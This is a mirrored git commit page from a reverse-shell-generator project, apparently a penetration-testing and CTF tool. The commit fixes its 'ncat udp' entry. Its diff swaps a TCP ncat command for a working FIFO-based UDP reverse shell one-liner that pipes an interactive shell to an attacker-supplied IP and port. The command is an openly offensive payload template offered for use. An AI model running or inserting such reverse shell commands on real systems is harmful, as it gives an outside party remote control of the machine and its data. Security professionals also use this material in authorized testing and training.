mirror of
https://github.com/0dayCTF/reverse-shell-generator.git
synced 2024-12-24 05:45:26 +00:00
Fixing ncat udp command.
The previous command was actually using TCP. Ncat's -u flag switches to UDP, but this doesn't appear to work with the -e flag, as UDP doesn't establish a "connection" to trigger the execution. Using a FIFO solves this issue.
This commit is contained in:
parent
470ef407b6
commit
4a0a51405c
@ -76,7 +76,7 @@ const reverseShellCommands = withCommandType(
|
|||||||
},
|
},
|
||||||
{
|
{
|
||||||
"name": "ncat udp",
|
"name": "ncat udp",
|
||||||
"command": "ncat {ip} {port} -e {shell}",
|
"command": "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|{shell} -i 2>&1|ncat -u {ip} {port} >/tmp/f",
|
||||||
"meta": ["linux", "mac"]
|
"meta": ["linux", "mac"]
|
||||||
},
|
},
|
||||||
{
|
{
|
||||||
|
Loading…
Reference in New Issue
Block a user